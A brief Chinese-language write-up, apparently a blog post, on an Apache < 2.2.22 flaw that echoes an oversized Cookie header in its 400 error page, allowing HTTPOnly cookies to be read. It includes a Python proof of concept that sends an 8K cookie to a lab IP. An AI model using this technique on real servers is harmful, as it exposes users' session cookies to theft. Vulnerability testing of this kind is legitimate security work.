Apache < 2.2.22 Cookie 泄露漏洞
Apache < 2.2.22 版本,接受到大于 4K 的 Cookie 时,会出现 400 错误,并且把 Cookie 信息显示出来。通过这个 Cookie 信息,我们可以绕过 HTTPOnly 的限制——方法是通过返回的 400 页面中提取出污染了 Cookie 代码后的真实 Cookie 信息。
但是我测试的时候发现 4K 的 Cookie 并不显示。而要 8K 才显示(版本 2.2.3)。以下是 Python 写的测试代码:
import httplib code = 'A'*(1024*8) sock = httplib.HTTPConnection('192.168.56.102') sock.request('GET', '/', headers = { "Host": "192.168.56.102", "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept": "text/plain", 'Cookie': "user="+code }) print(sock.getresponse().read())